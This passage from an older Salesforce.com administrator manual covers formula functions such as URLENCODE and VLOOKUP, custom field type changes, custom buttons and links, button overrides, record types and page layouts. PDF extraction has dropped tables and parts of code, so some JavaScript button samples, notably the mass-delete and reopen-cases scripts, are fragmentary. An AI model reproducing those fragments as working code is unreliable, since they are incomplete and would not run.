For example, blank spaces are replaced with %20, and
exclamation points are replaced with %21.
Use: {!URLENCODE(text)} and replace text with the merge
field or text string that you want to encode.
Example: If the merge field foo__c contains <B>Mark's page<b>,
{!URLENCODE(foo_c)} results in:
%3CB%3EMark%27s%20page%3C%2Fb%3E
Tips: • Custom buttons and links with URL content sources have
separate encoding settings. If you use the URLENCODE
function to encode a custom button or link that has an
encoding setting specified, Salesforce.com first encodes
the URL according to the custom button or link setting,
then encodes the result. For example, if the URL in a
custom link contains a space and its encoding setting is
UTF8, Salesforce.com first encodes the space to a plus
sign (+), then the URLENCODE function converts the
plus sign to its character code, %2B.
• When you include the standard Account field on
opportunities (Opportunity.Account) in the
URLENCODE function, the value of the field is the
account ID, not the account name. To encode the account
name, create a custom cross-object formula field on
opportunities that spans to the account name, and use that
field in the URLENCODE function instead of
981
Customize Operators and Functions
http://www.google.com/search?q={!URLENCODE
(Opportunity.AccountNameFormula__c)}
URLFOR
Description: Returns a relative URL for an action, s-control, or a file in a static resource archive in
a Visualforce page.
Use: {!URLFOR(target, id, [inputs], [no override])} and replace target
with the URL or action, s-control, or static resource merge variable, id with a reference
to the record, and inputs with any optional parameters. The no override argument
is also optional and defaults to “false.” It applies to targets for standard Salesforce.com
pages such as $Action.Account.New. Replace no override with “true” when you
want to display a standard Salesforce.com page regardless of whether you have defined
an override for it elsewhere.
982
Customize Operators and Functions
In this example, the s-control displays a message to users when they click Close Case
on a case with no associated solutions. If the case is associated with at least one solution,
the close case page displays as usual. To implement this example, create an s-control
with the content above. Then, override the close case option using the s-control.
This example shows how you can validate data using a standard button override. Use
validation rules to validate data on a record and an s-control like the one in this example
to validate associated data. This example does not apply to records updated using the
API.
This example uses the URLFOR function to build Salesforce.com URLs rather than
hard-coding them, which is more scalable. It also sets the no override argument to
“true,” telling Salesforce.com to ignore the override and call a standard close case action
within an override.
In this example, the <apex:image> component references a .jpg file contained within
a .zip file that has been uploaded as a static resource. When uploaded, the name of the
static resource was defined as TestZip, and the path to the image within the resource
is images/Bluehills.jpg.
Tips: • Use global variables to access special merge fields for actions, s-controls, and static
resources.
• If an input parameter name begins with any character other than a letter or dollar
sign ($), enclose it in quotation marks.
983
Customize Operators and Functions
• Set inputs to null if you do not have any to pass yet you want to set the no
override argument:
VALUE
984
Customize Operators and Functions
Tips:
Make sure the text in a VALUE function does not include any special characters other
than a decimal point (period) or minus sign (dash). For example, the formula
VALUE(Text_field__c) produces these results:
• If Text field is 123, the result is 123
• If Text field is blank, the result is #Error!
• If Text field is $123, the result is #Error!
• If Text field is EUR123, the result is #Error!
VLOOKUP
Description: Returns a value by looking up a related value on a custom object similar to the
VLOOKUP() Excel function.
Use: VLOOKUP(field_to_return, field_on_lookup_object, lookup_value)
and replace field_to_return with the field that contains the value you want returned,
field_on_lookup_object with the field on the related object that contains the value
you want to match, and lookup_value with the value you want to match.
Validation Rule Example: This example checks that a billing postal code is valid by looking up the first five
characters of the value in a custom object called Zip_Code__c that contains a record
for every valid zip code in the US. If the zip code is not found in the Zip_Code__c
object or the billing state does not match the corresponding State_Code__c in the
Zip_Code__c object, an error is displayed.
Note:
• Use this example when the billing country is US or USA.
• You can download US zip codes in CSV file format from
http://zips.sourceforge.net.
AND(
LEN(BillingPostalCode) > 0,
OR(BillingCountry = "USA",
BillingCountry = "US"),
VLOOKUP(
$ObjectType.Zip_Code__c.Fields.State_Code__c,
$ObjectType.Zip_Code__c.Fields.Name,
LEFT(BillingPostalCode,5))
<> BillingState
)
985
Customize Changing Custom Field Type
YEAR
See Also:
Examples of Advanced Formula Fields
About Formulas
Building Formulas
1. For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click Fields.
2. For fields on Salesforce Knowledge article types, click Setup ➤ Customize ➤ Knowledge ➤ Article Types and select
an article type. The article-type detail page has a Fields related list.
3. For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
4. Click Edit next to the custom field you want to change.
5. Click Change Field Type.
6. Select a new data type and click Next.
7. Enter a field label, name, any other attributes, and click Save.
For more information, see Notes on Changing Custom Field Types on page 987.
See Also:
Notes on Changing Custom Field Types
About Roll-Up Summary Fields
986
Customize Changing Custom Field Type
• Only convert custom fields for which no data exists or you risk losing your data. Changing the data type of an existing
custom field can cause data loss in the following situations:
• If data is lost, any list view based on the custom field will be deleted, and assignment and escalation rules may be affected.
• If you change the data type of any custom field that is used for lead conversion, that lead field mapping will be deleted.
• If you change the data type of a custom field that is set as an external ID, choosing a data type other than text, number,
or email will cause the field to no longer act as an external ID.
• The option to change the data type of a custom field is not available for all data types. For example, existing custom fields
cannot be converted into encrypted fields nor can encrypted fields be converted into another data type.
• In Salesforce Knowledge article types, the file field type can't be converted into other data types.
• You cannot change the data type of a custom field that is referenced by a Visualforce page.
• For descriptions of other attributes you can set, see Custom Field Attributes on page 817.
• Changing a custom field type may require changing a large number of records at once. To process these changes efficiently,
Salesforce.com may queue your request and send an email notification when the process has completed.
The following data types have additional restrictions when you convert them:
987
Customize Changing Custom Field Type
Text Area (Long) When you convert a long text area field to an Email, Phone,
Text, Text Area, or URL type field, the data in your records
is truncated to the first 255 characters of the field.
Text Area (Rich) You can only convert rich text area fields into long text area
fields. Any images are deleted the next time the long text area
field is saved.
Note: You cannot change the data type of a custom field if it is referenced in an Apex script. For more information,
see Force.com Apex Code Overview on page 1538.
See Also:
Custom Field Attributes
988
Customize Setting Custom Buttons and Links
Create custom buttons and links to integrate Salesforce.com data with external URLs, applications, your company’s intranet,
or other back-end office systems.
Custom links can link to:
• Connect users to external applications, such as a web page that displays a map to a contact's address
• Run an s-control from the s-control library, such as an s-control that escalates a case from the case detail page
• Launch custom links
For both custom links and buttons, you can choose the display window properties that determine how the target of a link or
button is displayed to your users. Custom links and s-controls can include Salesforce.com fields as tokens within the URL or
custom s-control. For example, you could include an account name in a URL that searches Yahoo:
http://search.yahoo.com/bin/search?p={!Account_Name}. In addition, s-controls can include operators and
functions.
In addition, you can override the default action of some standard buttons and customize the behavior of tab home pages to
suit your organization's needs. For more information, see Overriding Standard Buttons and Tab Home Pages on page 996.
See Also:
Defining Custom Buttons and Links
Adding Default Custom Links
About S-Controls
Administrator tip sheet: Building Salesforce Custom Links
989
Customize Setting Custom Buttons and Links
Before creating a custom button or link, determine what action you want to occur when a user clicks it. Consider a Visualforce
page if you want the button or link to launch a custom page or other code.
To define custom buttons and links:
1. Select Setup ➤ Customize, select the appropriate tab or users link, and choose Buttons and Links. Custom buttons are
not available on the user object or custom home pages.
Custom buttons and links are available for activities under the individual setup links for tasks and events. However, you
can override a button that applies to both tasks and events by clicking Setup ➤ Customize ➤ Activities ➤ Activity
Buttons.
For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
2. Click New from the Custom Buttons and Links section.
3. Enter the following attributes:
990
Customize Setting Custom Buttons and Links
Content Source Choose whether to use a URL, s-control, JavaScript action, or Visualforce page as the content
of the button or link. To use an s-control, choose “Custom S-Control,” and select the s-control
from the drop-down list. To use a URL, select “URL,” and enter the link below in the text
area box exactly as it would appear in the address bar of a Web browser. To execute JavaScript
code when the button or link is activated, select “OnClick JavaScript,” and enter the code in
the text area box below. To use a Visualforce page, select “Visualforce Page,” and choose the
page from the drop-down list.
Note:
• Visualforce pages used as custom links on the home page cannot specify a
controller.
• Visualforce pages used as custom buttons or links on detail pages must specify a
standard controller of the same object.
• Visualforce pages used as custom list buttons must use a standard list controller
of the same object.
Content Enter the content of the button or link for buttons and links of type URL or OnClick
JavaScript:
• To insert a field, choose the field type in the Select Field Type drop-down list, and
choose one of the fields listed in the Insert Field drop-down list.
991
Customize Setting Custom Buttons and Links
http://www.google.com/search?q={!user.name}+Steve+Mark+50%25
Salesforce.com automatically strips double quotes from URLs when the Content
Source is URL. If you need to use double quotes, encode them manually. For
example, to generate the URL
http://www.google.com/search?q="salesforce+foundation", use
this content:
http://www.google.com/search?q=%22salesforce+foundation%22.
Link Encoding Encoding setting that defaults to Unicode (UTF-8). Change the default encoding setting if
the target of a link requires data in a different format. This is available if your Content Source
is URL.
4. Optionally, click Check Syntax to validate all Salesforce.com merge fields and functions.
5. Click Save when you are finished.
Click Quick Save to save and continue editing.
Click Preview to view the URL specified.
Click Cancel to quit without saving your content.
6. Edit the page layout for the appropriate tab or search layout to display the new button or link.
If you add a custom link for users, it is automatically added to the Custom Links section of the user detail page. Detail
page buttons can only be added to the Button Section of a page layout.
7. Optionally, set the window properties if you prefer the link or button opening using different settings than the user's default
browser settings.
992
Customize Setting Custom Buttons and Links
Note: The Link URL can be up to 3000 bytes. When data is substituted for the tokens in the URL, the link may
exceed 3000 bytes. Your browser may enforce additional limits for the maximum URL length.
See Also:
Custom Button Considerations
Viewing References to Salesforce.com Components
Useful Custom Buttons and Links
Editing Window Open Properties
Adding Default Custom Links
Overriding Standard Buttons and Tab Home Pages
Custom buttons and links can open in different types of windows. If you have selected a custom button or link to open in a
popup window, set the window properties. If you leave the window properties blank, the custom button or link will use the
default settings of the user’s browser.
To edit the window open properties:
1. Select the custom button or link by clicking Setup ➤ Customize, selecting the appropriate tab or users link, clicking
Buttons and Links, and selecting the button or link name. Custom buttons are not available on the user object.
For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
2. Click Window Open Properties.
3. Edit the following properties:
993
Customize Setting Custom Buttons and Links
Note: Some properties may not be available depending on the Behavior of the custom button or link. For
example, if you chose “Execute JavaScript,” no window open properties are available.
See Also:
Defining Custom Buttons and Links
Review the following implementation notes and best practices for custom buttons:
Implementation Notes
• Custom buttons display at the top and bottom of the detail page to the right of all standard buttons.
• You can include s-controls in any field section on your page layout to display the s-control content “inline” without requiring
users to click a button or link to see it. Simply edit the page layout, choose the s-control, and drag it to any section on the
page layout.
• If your custom link references a URL, create a custom s-control that references that URL so you can include the s-control
directly on your page layout.
• Custom buttons are not distinguished from standard buttons in any graphical way. However, you can recognize them by
their location on the right of all standard buttons.
• If the button bar gets too wide on the detail page layout, the browser displays a horizontal scroll bar. If the button bar gets
too wide on the list view, search result, tagging result, or related list layouts, the buttons wrap.
• Custom buttons are available for activities under the individual setup links for tasks and events. To add a custom button
to an activity list view or search layout, first create a custom list button in tasks or events. Next, add it to your activity list
view or search result layouts. To override a button that applies to both tasks and events, click Setup ➤ Customize ➤
Activities ➤ Activity Buttons.
994
Customize Setting Custom Buttons and Links
• Custom buttons are not available for Web-to-Lead, Web-to-Case, the Case Teams related list, or the user object.
• If your organization uses person accounts, your person account records use any custom buttons and links you have made
for accounts. Use the person account page layouts to edit any custom links or detail page buttons for person account records.
To customize the list view or search result layouts for person accounts, edit the account list view and search result layouts
where you access account search layouts.
• If your organization uses the console, list buttons are available in the Mass Action drop-down list. List buttons will not
display in the mini page layouts. Pages that display due to custom buttons and links display in the console without the
header or sidebar.
• If you get an error message when overriding a button that appears in a list, try calling the s-control using the URLFOR
function.
• When creating custom buttons, be mindful of any validation rules your organization has for records on that object. For
example, a custom list button that changes case status may conflict with a case validation rule. In this scenario, Salesforce.com
displays the error message for the validation rule when users click the custom button.
• If you want to replace a standard button with a custom button, first define the custom button, then customize the page
layout to hide the standard button and display the custom one in its place. For more information, see Customizing Page
Layouts.
Best Practices
• Use formula functions in s-controls or custom buttons with caution. Because functions run on the server before your
HTML or JavaScript is passed to the browser, they can only evaluate information that exists at that time. Avoid using
functions like IF to evaluate conditions that only exist when the code reaches the browser, such as the value of a JavaScript
variable that is returned from your code.
• To prevent a user from performing a particular action, such as creating or editing, change the user's permissions rather
than hiding the standard button. Hiding a standard button removes it from a page layout but the link is still available and
users can navigate to the new or edit page manually.
• Use global variables to access special merge fields for components like custom buttons, links, and s-controls. For example,
the $Request global variable allows you to access query parameters inside a snippet, s-control, or custom button.
• To insert activity merge fields, select “Event” or “Task” from the Select Field Type drop-down list.
• Do not select the Display Checkboxes (for Multi-Record Selection) option for list buttons that link to a URL that does
not support post operations. Checkboxes display next to records in a list if you have selected the Display Checkboxes (for
Multi-Record Selection) option for at least one list button in that list. However, selected records in this list are unaffected
when clicking a custom list button that does not have this option selected.
For considerations on overriding standard buttons, see Overriding Standard Buttons and Tab Home Pages on page 996.
See Also:
Defining Custom Buttons and Links
Useful Custom Buttons and Links
995
Customize Setting Custom Buttons and Links
1. Select Setup ➤ Customize, select the appropriate tab link, and choose Buttons and Links.
2. Click Default Custom Links.
3. Click Add Now! next to a sample link you want to add.
4. Change any of the default data for the link, as necessary.
5. Choose Save.
6. Edit the page layout for the appropriate tab to display the new link. See Managing Page Layouts on page 1012.
See Also:
Defining Custom Buttons and Links
Salesforce.com lets you override the behavior of standard buttons on record detail pages. In addition, you can override the tab
home page that displays when a user clicks a standard or custom object tab.
To override a standard button or a tab home page:
1. Before you override a standard button, review the considerations for overriding standard buttons.
2. Navigate to the appropriate override page:
• For standard objects, click Setup ➤ Customize, select the appropriate object or tab link, then click Buttons and Links.
• For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
In the Standard Buttons and Links related list, click Edit next to the button or tab home page you want to override.
996
Customize Setting Custom Buttons and Links
Note: Since events and tasks don't have their own tabs, you can only override their standard buttons and links.
3. Pick the type of override you want associated with the action:
• No Override (use default)—Use a custom override provided by an installed package. If there isn't one installed, the
standard Salesforce.com behavior is used.
• Standard Salesforce.com Page—This option is only available for subscribers who are overriding the actions on an
installed custom object. If selected, the standard Salesforce.com behavior is used.
• Custom S-Control—Use the behavior from an s-control.
• Visualforce Page—Use the behavior from a Visualforce page.
4. Select the name of the s-control or Visualforce page you want to run when users click the button or tab.
When overriding buttons with a Visualforce page, only Visualforce pages that use the standard controller for the object
on which the button appears can be selected. For example, if you want to use a page to override the Edit button on accounts,
the page markup must include the standardController="Account" attribute on the <apex:page> tag:
<apex:page standardController="Account">
</apex:page>
When overriding tabs with a Visualforce page, only Visualforce pages that use the standard list controller for that tab,
pages with a custom controller, or pages with no controller can be selected.
When overriding lists with a Visualforce page, only Visualforce pages that use a standard list controller can be selected.
5. Optionally, enter any comments to note the reason for making this change.
6. Click Save.
Button overrides are global throughout Salesforce.com because overrides control the action behind the button. For example,
if you override the New button on opportunities, your replacement action takes effect wherever that action is available:
To remove an override:
1. Click Setup ➤ Customize, select the appropriate object or tab link, and then click Buttons and Links.
For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
2. Click Edit next to the override.
3. Select No Override (default behavior).
997
Customize Setting Custom Buttons and Links
4. Click OK.
See Also:
Useful S-Controls
Defining Custom Buttons and Links
• You can override a standard button to run an s-control. To learn more about creating s-controls, see Defining Custom
S-Controls on page 1622.
• You can also override a standard button with a Visualforce page. To learn more about creating Visualforce pages, see
Defining Visualforce Pages on page 1602.
• If you override a standard button in Salesforce.com, that button is still available in Connect Offline or Salesforce Mobile,
but it retains its original behavior.
• You cannot add button overrides to a Force.com AppExchange package.
• Only some standard buttons can be overridden. For example, you cannot override the Save or Sharing buttons, but you
can override New, View, Edit, and Delete buttons.
• The View standard button refers to all of the links in Salesforce.com that display the detail page for a record. Overriding
the View standard button reroutes all of these links.
• If a button is not available for overrides, you can still hide it on the page layout.
• Button overrides affect everywhere that action or behavior is available. For example, overriding the New button on an
account also overrides the account option in the Create New drop-down list in the sidebar.
• You can override buttons on the detail page but not the edit page of a record.
• Buttons on lookup dialogs and tabs cannot be changed. However, you can change the buttons on list view and search result
layouts under search layouts.
• Buttons on reports cannot be changed.
• Some standard buttons can be overridden, but none can be relocated on the detail page or relabeled.
• If your organization uses person accounts, your person account records use any standard button overrides you have made
for accounts. Your person account records also use any overrides for the View Self-Service and Enable Self-Service buttons
you have made for contacts.
• If your organization uses the console, overrides for the Edit and View buttons for an object do not affect the Edit and
View buttons in the mini page layouts. Pages that display due to overrides display in the console without the header or
sidebar.
998
Customize Setting Custom Buttons and Links
• If you want to replace a standard button with a custom button, first define the custom button, then customize the page
layout to hide the standard button and display the custom one in its place. For more information, see Customizing Page
Layouts.
See Also:
Overriding Standard Buttons and Tab Home Pages
You can view a list of all the areas in Salesforce.com that reference a component. For example, view the custom links, custom
buttons, or page layouts that reference a custom s-control. To do this, click Where is this used? from the detail page of the
component. Salesforce.com lists the type of component that references the component and the label for that component. Click
any item in the list to view it directly.
See Also:
What is a Static Resource?
Defining Custom Buttons and Links
Custom Button Considerations
About S-Controls
Visualforce Overview
What is a Custom Component?
999
Customize Setting Custom Buttons and Links
Use the following samples to get started using custom buttons and links:
See Also:
Defining Custom Buttons and Links
Custom Button Considerations
Displaying Alerts
You may want to display a simple alert window with text. In this example, the custom button displays a popup dialog with a
welcome message containing the user's first name, using the !$User.FirstName merge field.
1. Define a custom button with the following attributes:
• Display Type is “Detail Page Button”
• Behavior is “Execute JavaScript”
• Content Source is “OnClick JavaScript”
• Use the following sample code:
1000
Customize Setting Custom Buttons and Links
idArray = {!GETRECORDIDS($ObjectType.Contact)};
alert("The Ids you have selected are: "+idArray);
Note: This example is for contacts. Change the object type for a different type of record.
2. Add the button to the appropriate related list on a page layout or list view layout.
Mass Delete
Your busy users may want to delete more than one record in a list view or related list with a single click. Create the following
custom list button and add it your activity related lists and list views:
1. Define a custom list button for events with the following attributes:
• Display Type is “List Button”
Note: The Select Display Checkboxes (for Multi-Record Selection) option automatically selected ensures
that users can select any number of records in the list before clicking the button.
{!REQUIRESCRIPT("/soap/ajax/9.0/connection.js")}
if (records[0] == null) {
alert("Please select at least one record.") }
else {
1001
Customize Setting Custom Buttons and Links
numSucceeded++;
} else {
var es = res.getArray("errors");
if (es.length > 0) {
errors.push(es[0].message);
}
numFailed++;
}
}
if (numFailed > 0){
alert("Failed: " + numFailed + "\nSucceeded: " + numSucceeded + " \n Due to: " +
errors.join("\n"));
} else {
alert("Number of records deleted: " + numSucceeded);
}
}
window.location.reload();
}
<script type="text/javascript">
idArray = {!GETRECORDIDS($ObjectType.Account)};
window.location.href="http://www.yourwebsitehere.com?array="+idArray;
</script>
2. Define a custom list button for accounts with the following attributes:
• Display Type is “List Button”
Note: The Select Display Checkboxes (for Multi-Record Selection) option automatically selected ensures
that users can select any number of records in the list before clicking the button.
1002
Customize Setting Custom Buttons and Links
3. Add the custom list button to the appropriate page layout or list view layout.
Reopening Cases
Related lists are valuable because they allow users to perform an action on several records at once. Add a custom list button
to your cases related lists so that users can reopen several cases on an opportunity at once.
1. Define a custom list button for cases with the following attributes:
• Display Type is “List Button”
Note: The Select Display Checkboxes (for Multi-Record Selection) option automatically selected ensures
that users can select any number of records in the list before clicking the button.
{!REQUIRESCRIPT("/soap/ajax/13.0/connection.js")}
if (records[0] == null)
{
alert("Please select at least one row")
}
else
{
for (var n=0; n<records.length; n++) {
var c = new sforce.SObject("Case");
c.id = records[n];
c.Status = "New";
newRecords.push(c);
}
result = sforce.connection.update(newRecords);
window.location.reload();
}
Note: This example references the AJAX Toolkit, which is available if API access is enabled for your
organization. For more information about the AJAX Toolkit, see https://wiki.developerforce.com/index.php/API.
2. Add the custom list button to your opportunity page layouts by editing the Cases related list.
Tip: Use this list button on any page layout that contains the cases related list, such as account or contact page
layouts.
Note: Notice the check for records[0] == null, which displays a message to users when they do not select at
least one record in the list.
1003
Customize Managing Record Types
RECORD TYPES
Record types allow you to offer different business processes, picklist values, and page layouts to different users based on their
profiles. Record types can be used in various ways, for example:
• Create record types for opportunities to differentiate your regular sales deals from your professional services engagements
and offer different picklist values for each.
• Create record types for cases to display different page layouts for your customer support cases versus your billing cases.
You can use these fields to provide different picklist values for different record types by assigning a different process to
each record type.
• Person accounts are account records to which a special kind of record type has been assigned. These record types are called
person account record types. Person account record types allow contact fields to be available on the account and allow the
account to be used in many situations as if it were a contact. A default person account record type named “Person Account”
is automatically created when person accounts are enabled for your organization. You can change the name of this record
type, and you can create additional person account record types.
• You cannot delete all the record types for an object if the object is referenced in an Apex script.
• You cannot deactivate a record type if it is in use by an email routing address for Email-to-Case or On-Demand
Email-to-Case.
• To create record types for campaign members, click Setup ➤ Customize ➤ Campaigns ➤ Campaign Members ➤
Record Types.
Record types can only be assigned to campaign members using the Campaign Member Type field on new or existing
campaigns. To assign record types to campaign members, add the Campaign Member Type field to the campaign page
layout. You must have the Marketing User user permission to change the campaign member type. You can also add a
read-only Campaign Member Type field to the campaign members page layout.
1004
Customize Creating Record Types
• The following campaign member picklists are not available for record types:
- Status
- Salutation
- Lead Source
• Salesforce.com recommends creating no more than 200 record types. While there is no limit, organizations may have
difficulty managing their record types if they exceed 200.
See Also:
Viewing and Editing Record Types
Setting Record Type Preferences
Creating Record Types
Assigning Page Layouts
Assigning Record Types to Profiles
Administrator tip sheet: Tips & Hints for Record Types
1005
Customize Editing Picklists for Record Types and Business Processes
• To apply a single page layout for all profiles, select Apply one layout to all profiles and choose the page
layout from the drop-down list.
• To apply different page layouts based on user profiles, select Apply a different layout for each profile
and choose a page layout for each profile.
14. Click Save to edit the values of the standard and custom picklists available for the record type, or click Save and New to
create another record type.
See Also:
Assigning Record Types to Profiles
What is a Person Account?
1. Select a record type and click Edit next to one of the picklist fields to customize the values included for the record type.
Or, select a business process to customize the values included in that business process.
2. Add any values from the Available Values box or remove any values from the Selected Values box. Users will be able to
choose from the list of selected values when creating and editing records.
3. Optionally, choose a default picklist value. Some picklists require a default value. The default value in a dependent field is
ignored.
4. Click Save.
1006
Customize Viewing and Editing Record Types
you remove a picklist value from the master, it is no longer available when creating new records. But records assigned to
that value are unchanged.
• Renaming a record type does not change the list of values included in it.
• The following special picklist fields are not available for record types because they are used exclusively for sales processes,
lead processes, support processes, and solution processes:
- Opportunity Stage
- Case Status
- Solution Status
- Lead Status
You can use these fields to provide different picklist values for different record types by assigning a different process to
each record type.
• The following campaign member picklists are not available for record types:
- Status
- Salutation
- Lead Source
• After creating record types, add the Record Type field to your page layouts if you would like the field displayed on record
detail and edit pages. A user profile can be associated with several record types. For example, a user who creates marketing
campaigns for both US and European divisions can have both US and European campaign record types available when
creating new campaigns.
Record types can only be assigned to campaign members using the Campaign Member Type field on new or existing
campaigns. To assign record types to campaign members, add the Campaign Member Type field to the campaign page
layout. You must have the Marketing User user permission to change the campaign member type. You can also add a
read-only Campaign Member Type field to the campaign members page layout.
See Also:
About Custom Fields
Setting Record Type Preferences
Assigning Record Types to Profiles
To view a list of record types, click Setup ➤ Customize, select an object, and click Record Types. For campaign member
record types, click Setup ➤ Customize ➤ Campaigns ➤ Campaign Members ➤ Record Types.
1007
Customize Managing Multiple Business Processes
• Click Edit to change the name of a record type or deactivate it by deselecting the Active checkbox. Deactivating a record
type does not remove it from any user profiles.
• Click Del to delete an inactive record type and assign associated records a different record type. To leave the record type
field blank on records associated with the deleted record type, select None.
Note: Deleting campaign member record types updates the Campaign Member Type field on campaign and
campaign member records.
• Click the name of the record type to edit the picklists associated with it.
• Click Page Layout Assignment to set which page layouts users can see based on profiles and record types.
Note: You cannot edit or delete a record type for an object if the object is referenced in an Apex script. For more
information, see Force.com Apex Code Overview on page 1538.
See Also:
Assigning Page Layouts
About Field Accessibility
Use multiple business processes to display different picklist values for users based on their profile. Multiple business processes
allow you to track separate sales, support, and lead lifecycles.
Sales Processes
Create different sales processes that include some or all of the picklist values available for the opportunity Stage field.
Lead Processes
Create different lead processes that include some or all of the picklist values available for the Lead Status field.
Support Processes
Create different support processes that include some or all of the picklist values available for the case Status field.
Solution Processes
Create different solution processes that include some or all of the picklist values available for the Status field.
After creating a sales, support, lead, or solution process, assign the process to a record type. The record type determines the
user profiles that are associated with the business process.
1008
Customize Overview of Page Layouts and Field-Level Security
To view a list of business processes, click Setup ➤ Customize, select the appropriate tab link (Opportunity, Case, Lead, or
Solution), and click the Processes link.
Follow these steps to create sales processes, support processes, lead processes, and solution processes.
1. Select Setup ➤ Customize, select the appropriate tab link: Opportunity, Case, Lead, or Solution.
2. Click the Processes link.
3. Click New.
4. Choose an existing process to copy its picklist values into the new process. Select Master to copy all available picklist
values.
5. Enter a name and description for the new process. The name must be unique within the tab.
6. Click Save.
All of the available values in the picklist are displayed. Choose the values that you would like included in the new business
process.
7. See Editing Picklists for Record Types and Business Processes for instructions on building the list of values for this business
process.
Next, add the new business process to a record type (see Managing Record Types) and then make the record type available to
users based on profile (see Assigning Record Types to Profiles on page 469).
Use field-level security to control the access that users have to certain fields. Additionally, use page layouts to control the layout
and organization of detail and edit pages in Salesforce.com, the Self-Service Portal, and the Salesforce.com Customer Portal.
Customize search layouts to change which fields display in search results and the buttons that display on list views.
1009
Customize Overview of Page Layouts and Field-Level Security
Important: While you can use page layouts to hide fields from detail and edit pages, be aware that users may still be
able to access those fields by other means, including reports, search results, list views, and the API. Use field-level
security to restrict all means of accessing a field. Field-level security doesn't prevent searching on the values in a field.
To prevent users from searching and retrieving records that match a value in a field hidden by field-level security,
contact salesforce.com Customer Support for assistance with setting up your organization to prevent unwanted access
to those field values.
Field-Level Security
• Restrict users’ access to view and edit fields by any means, including reports, search results, list views, related lists, email
and mail merge templates, custom links, Connect Offline, the API, and when synchronizing data or importing personal
data.
• Override any less-restrictive field access settings in page layouts and mini page layouts.
For example, if a field is required in the page layout and read only in the field-level security settings, the field-level security
overrides the page layout and the field will be read only for the user.
• Override less-restrictive field settings in search layouts.
For example, if a field is visible in the search layout but hidden for certain users via the field-level security settings, the
field-level security overrides the search layout and the field will be hidden for those users.
Page Layouts
• Control the layout and organization of detail and edit pages
• Control which fields, related lists, and custom links users see, on detail and edit pages only
• Control which standard and custom buttons display on detail pages and related lists
• Determine whether fields are visible, read only, or required, on detail and edit pages only
• In Personal, Contact Manager, Group, and Professional Editions, control which fields users can access in related lists, list
views, reports, Connect Offline, email and mail merge templates, custom links, and when synchronizing data or importing
personal data
• In Professional, Enterprise, Unlimited, and Developer Editions, determine some aspects of mini page layouts, including
record type and profile associations, related lists, fields, and field access settings. The visible fields and related lists of the
mini page layout can be further customized, but the other items inherited from the associated page layout cannot be changed
on the mini page layout itself. Mini page layouts display selected fields and related lists of records in the mini view of the
console. See What is the Console? on page 2364 for more information.
Note: To automatically add a field to all page layouts and make it visible and required everywhere regardless of
field-level security, make it a universally required field.
See Also:
Managing Page Layouts
Setting Field-Level Security
1010
Customize Overview of Page Layouts and Field-Level Security
Use field-level security as the means to restrict users’ access to fields; then use page layouts primarily to organize detail and
edit pages within tabs. This reduces the number of page layouts for you to maintain.
Important: Field-level security doesn't prevent searching on the values in a field. To prevent users from searching
and retrieving records that match a value in a field hidden by field-level security, contact salesforce.com Customer
Support for assistance with setting up your organization to prevent unwanted access to those field values.
1011
Customize Overview of Page Layouts and Field-Level Security
You can customize the page layouts for record detail and edit pages, Self-Service portal pages, Salesforce.com Customer Portal
pages, and the case close page. Page layouts control the layout and organization of buttons, fields, s-controls, Visualforce,
custom links, and related lists. They also help determine which fields are visible, read only, and required. Page layouts can
include s-controls and Visualforce pages that are rendered within a field section when the page displays. You can control the
size of the s-controls and Visualforce pages, and determine whether or not a label and scroll bars display.
To work with page layouts, go to Setup ➤ Customize, click the appropriate kind of record, and select Page Layouts. You
can:
• Click New to create layouts; see Creating Page Layouts on page 1013.
• Click Edit to modify layouts or customize related lists; see Customizing Page Layouts on page 1014.
• Click Del to delete layouts; see Deleting Page Layouts on page 1036.
• Click Page Layout Assignment to assign page layouts to profiles and record types; see Assigning Page Layouts on page
1036.
For Personal, Contact Manager, Group, and Professional Edition organizations, every user views the same layout. Enterprise,
Unlimited, and Developer Edition organizations can create different page layouts for use by different profiles and record types
and set field-level security settings to further restrict users’ access to specific fields. See Assigning Page Layouts on page 1036
and Setting Field-Level Security on page 540 for more information.
In Professional, Enterprise, Unlimited, and Developer Editions, you can set the mini page layouts and related objects that
appear in the console. See Choosing Related Objects for the Mini Console View on page 2367 and Defining Mini Page Layouts
on page 2368 for more information.
Tip: Use field-level security as the means to restrict users’ access to fields; then use page layouts primarily to organize
detail and edit pages within tabs. This reduces the number of page layouts for you to maintain. Note that field-level
security settings override the visible and read-only settings on the page layout if the field-level security has a more
restrictive setting than the page layout.
1012
Customize Overview of Page Layouts and Field-Level Security
Note: Salesforce.com periodically runs a background process that cleans up metadata associated with deleted custom
fields. This process will affect the Last Modified Date and Last Modified By fields on page layouts, record
types, and custom objects.
See Also:
Overview of Page Layouts and Field-Level Security
Editing Mobile Object Properties
About Field Accessibility
Customizing Home Tab Page Layouts
Managing Profiles
Setting Up Self-Service
Setting Up the Console
Setting Up Your Customer Portal
Administrator tip sheet: Tips & Hints for Page Layouts and Field-Level Security
1. Click Setup ➤ Customize, select the appropriate activity or tab link, and choose the Page Layouts link.
For opportunities, click Setup ➤ Customize ➤ Opportunities ➤ Opportunity Products ➤ Page Layouts to create or
edit the additional page layouts for products on opportunities.
For person accounts, click Setup ➤ Customize ➤ Accounts ➤ Person Accounts ➤ Page Layouts to create or edit the
additional page layouts for person accounts.
For campaign members, click Setup ➤ Customize ➤ Campaigns ➤ Campaign Member ➤ Page Layouts.
2. Click the New button, and then optionally choose an existing layout to copy.
Tip: To create a page layout based off an existing page layout by doing one of the following:
• In the enhanced page layout editor, select an existing page layout from the list of page layouts, then click Save
As to create a copy of the layout.
• In the original page layout editor, select an existing page layout from the list of page layouts, then click the
Clone button.
1013
Customize Overview of Page Layouts and Field-Level Security
See Customizing Page Layouts for instructions on modifying the page layout. For information on defining mini page layouts
for the console, see Setting Up the Console on page 2366.
See Also:
Managing Page Layouts
Customizing Related Lists
Overview of Page Layouts and Field-Level Security
Salesforce.com has two drag-and-drop tools for editing page layouts: the original page layout editor and a new enhanced page
layout editor. The enhanced page layout editor is enabled by default, and provides all of the functionality of the original editor,
as well as additional functionality and an easier-to-use WYSIWYG interface.
If you want to use the original page layout editor, you can enable it for your organization in the User Interface settings. Your
organization can only use one of the page layout editors at a time.
1014
Customize Overview of Page Layouts and Field-Level Security
